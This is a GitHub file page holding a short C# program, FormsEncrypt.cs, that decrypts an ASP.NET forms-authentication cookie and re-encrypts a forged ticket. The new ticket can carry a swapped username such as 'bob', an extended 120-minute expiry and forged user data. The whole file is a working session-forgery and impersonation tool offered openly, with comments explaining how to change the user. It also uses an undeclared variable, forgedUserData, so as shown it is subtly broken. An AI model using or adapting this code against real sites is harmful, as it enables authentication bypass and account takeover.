-
Notifications
You must be signed in to change notification settings - Fork 5
/
FormsEncrypt.cs
30 lines (26 loc) · 1.03 KB
/
FormsEncrypt.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Web.Security;
namespace FormsEncryptor
{
class Program
{
static void Main(string[] args)
{
// Take an existing forms cookie
string encryptedTicket = "<ExistingEncryptedTicket>";
string replacedUsername = "bob";
FormsAuthenticationTicket unencryptedTicket = FormsAuthentication.Decrypt(encryptedTicket);
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1,
unencryptedTicket.Name, //comment out if you want to change the username
// replacedUsername, //uncomment if you want to change the username
DateTime.Now,
DateTime.Now.AddMinutes(120), // Add 120 minutes to expiry
unencryptedTicket.IsPersistent,
forgedUserData,
"/");
string encTicket = FormsAuthentication.Encrypt(ticket);
Console.WriteLine(encTicket);
Console.Read();
}
}
}